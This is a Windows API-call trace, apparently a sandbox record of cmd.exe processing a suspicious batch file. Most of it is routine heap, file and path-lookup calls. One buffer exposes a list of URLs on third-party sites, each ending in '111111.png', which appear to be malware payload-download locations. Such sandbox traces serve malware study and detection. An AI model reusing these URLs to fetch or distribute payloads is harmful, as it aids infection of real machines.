GetProcessHeap () returned 0x20b0f920000 [0211.762] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0211.762] GetProcessHeap () returned 0x20b0f920000 [0211.762] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0211.762] GetProcessHeap () returned 0x20b0f920000 [0211.762] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0211.762] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.762] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa77 [0211.762] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xd3e, lpOverlapped=0x0) returned 1 [0211.762] SetFilePointer (in: hFile=0x9c, lDistanceToMove=2782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xade [0211.762] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=103, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 103 [0211.762] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.762] GetFileType (hFile=0x9c) returned 0x1 [0211.762] _get_osfhandle (_FileHandle=3) returned 0x9c [0211.762] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xade [0211.762] GetProcessHeap () returned 0x20b0f920000 [0211.762] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0211.763] GetProcessHeap () returned 0x20b0f920000 [0211.763] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0211.763] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0211.763] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0211.763] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0211.763] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0211.763] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0211.763] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0211.763] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0211.763] GetProcessHeap () returned 0x20b0f920000 [0211.763] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0211.763] GetProcessHeap () returned 0x20b0f920000 [0211.763] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0211.763] GetProcessHeap () returned 0x20b0f920000 [0211.763] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa6) returned 0x20b0f926ea0 [0211.763] _tell (_FileHandle=3) returned 2782 [0211.763] _close (_FileHandle=3) returned 0 [0211.763] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0211.764] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.764] GetFileType (hFile=0x50) returned 0x2 [0211.764] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.764] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.764] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0211.770] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0211.770] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0211.770] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0211.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.770] GetFileType (hFile=0x50) returned 0x2 [0211.770] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.770] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0211.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.771] GetFileType (hFile=0x50) returned 0x2 [0211.771] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.771] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0211.772] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 75 [0211.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.772] GetFileType (hFile=0x50) returned 0x2 [0211.772] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.772] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4b) returned 1 [0211.772] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0211.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.772] GetFileType (hFile=0x50) returned 0x2 [0211.772] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0211.773] _get_osfhandle (_FileHandle=1) returned 0x50 [0211.773] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0211.777] malloc (_Size=0xffce) returned 0x20b0fa60940 [0211.778] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0211.778] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.778] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.778] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.778] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.779] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.779] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.779] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.779] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.779] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.779] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.779] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.779] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.779] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.779] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.779] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.779] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.779] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.779] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.779] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.779] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.779] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.779] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.779] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.779] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.779] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.779] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.779] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.780] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.780] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.780] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.780] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.780] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.780] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.780] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.780] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.780] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.780] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.780] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.780] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.780] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.780] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.780] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.780] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0211.780] malloc (_Size=0xffce) returned 0x20b0fa70920 [0211.780] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0211.781] GetProcessHeap () returned 0x20b0f920000 [0211.781] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0211.783] SetErrorMode (uMode=0x0) returned 0x0 [0211.783] SetErrorMode (uMode=0x1) returned 0x0 [0211.783] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0211.783] SetErrorMode (uMode=0x0) returned 0x1 [0211.783] GetProcessHeap () returned 0x20b0f920000 [0211.783] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0211.784] GetProcessHeap () returned 0x20b0f920000 [0211.784] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0211.784] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0211.784] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0211.784] GetProcessHeap () returned 0x20b0f920000 [0211.784] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0211.784] GetProcessHeap () returned 0x20b0f920000 [0211.785] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0211.786] GetProcessHeap () returned 0x20b0f920000 [0211.786] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0211.786] GetProcessHeap () returned 0x20b0f920000 [0211.786] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0211.786] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0211.786] GetProcessHeap () returned 0x20b0f920000 [0211.786] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0211.786] GetProcessHeap () returned 0x20b0f920000 [0211.786] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0211.786] GetProcessHeap () returned 0x20b0f920000 [0211.786] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0211.786] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf70 [0211.786] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0211.786] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.787] GetLastError () returned 0x2 [0211.787] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.787] GetLastError () returned 0x2 [0211.787] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.787] GetLastError () returned 0x2 [0211.787] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.787] GetLastError () returned 0x2 [0211.787] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.788] GetLastError () returned 0x2 [0211.788] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.788] GetLastError () returned 0x2 [0211.788] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.788] GetLastError () returned 0x2 [0211.788] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.788] GetLastError () returned 0x2 [0211.788] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.789] GetLastError () returned 0x2 [0211.789] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.789] GetLastError () returned 0x2 [0211.789] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.789] GetLastError () returned 0x2 [0211.789] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.789] GetLastError () returned 0x2 [0211.789] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d330 [0211.789] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0211.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.790] GetLastError () returned 0x2 [0211.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.790] GetLastError () returned 0x2 [0211.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.790] GetLastError () returned 0x2 [0211.790] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.791] GetLastError () returned 0x2 [0211.791] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.791] GetLastError () returned 0x2 [0211.791] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.791] GetLastError () returned 0x2 [0211.791] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.791] GetLastError () returned 0x2 [0211.791] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.792] GetLastError () returned 0x2 [0211.792] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.792] GetLastError () returned 0x2 [0211.792] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.792] GetLastError () returned 0x2 [0211.792] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.792] GetLastError () returned 0x2 [0211.792] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.792] GetLastError () returned 0x2 [0211.793] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.793] GetLastError () returned 0x2 [0211.793] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.793] GetLastError () returned 0x2 [0211.793] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0211.793] GetLastError () returned 0x2 [0211.793] ??_V@YAXPEAX@Z () returned 0x1 [0211.793] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0211.794] malloc (_Size=0xffce) returned 0x20b0fa70920 [0211.794] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0211.794] malloc (_Size=0xffce) returned 0x20b0fa80900 [0211.794] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0211.795] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.795] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.795] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.795] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.795] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.795] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.795] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.795] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.795] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.795] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.795] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.795] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.795] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.795] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.795] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.795] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.795] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.795] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.795] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.795] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.795] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.796] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.796] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.796] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.796] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.796] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.796] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.796] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.796] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.796] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0211.796] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0211.796] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0211.796] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0211.796] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0211.796] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0211.796] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0211.796] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0211.796] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0211.796] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0211.796] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0211.796] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0211.796] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0211.796] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0211.796] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0211.796] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0211.796] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0211.796] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0211.796] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0211.796] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0211.797] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0211.797] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0211.797] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0211.797] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0211.797] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0211.797] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0211.797] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0211.797] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0211.797] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0211.797] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0211.797] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0211.797] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0211.797] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0211.797] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0211.797] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0211.797] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0211.797] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0211.797] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0211.797] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0211.797] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0211.797] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0211.797] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0211.797] 